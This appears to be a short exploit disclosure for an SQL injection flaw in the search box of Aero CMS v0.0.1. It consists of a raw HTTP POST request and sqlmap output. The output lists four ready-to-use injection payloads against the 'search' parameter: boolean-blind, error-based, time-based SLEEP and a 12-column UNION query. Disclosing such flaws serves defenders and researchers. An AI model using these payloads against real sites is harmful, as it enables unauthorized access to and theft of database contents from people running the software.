Aero CMS v0.0.1 - SQL Injection (search box)

[MorphyKutay]

POST /search.php HTTP/1.1 Host: 192.168.243.133 Content-Length: 19 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.243.133/ Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.243.133/search.php Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=dt1o6jbah3s8qdti60pg464i59 Connection: close

search='saas&submit=

---

sqlmap identified the following injection point(s) with a total of 134 HTTP(s) requests:

Parameter: search (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: search=saas' OR NOT 8064=8064#&submit=

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: search=saas' AND (SELECT 8045 FROM(SELECT COUNT(*),CONCAT(0x716a7a7a71,(SELECT (ELT(8045=8045,1))),0x71766b7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ZINc&submit=

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=saas' AND (SELECT 5006 FROM (SELECT(SLEEP(5)))tyOR)-- wINj&submit=

Type: UNION query
Title: MySQL UNION query (NULL) - 12 columns
Payload: search=saas' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a7a7a71,0x5142655063635254574b6b4967424f53796e4f465a784a6e576b4868654868735956434d6e63544d,0x71766b7071),NULL,NULL,NULL,NULL,NULL,NULL#&submit=

---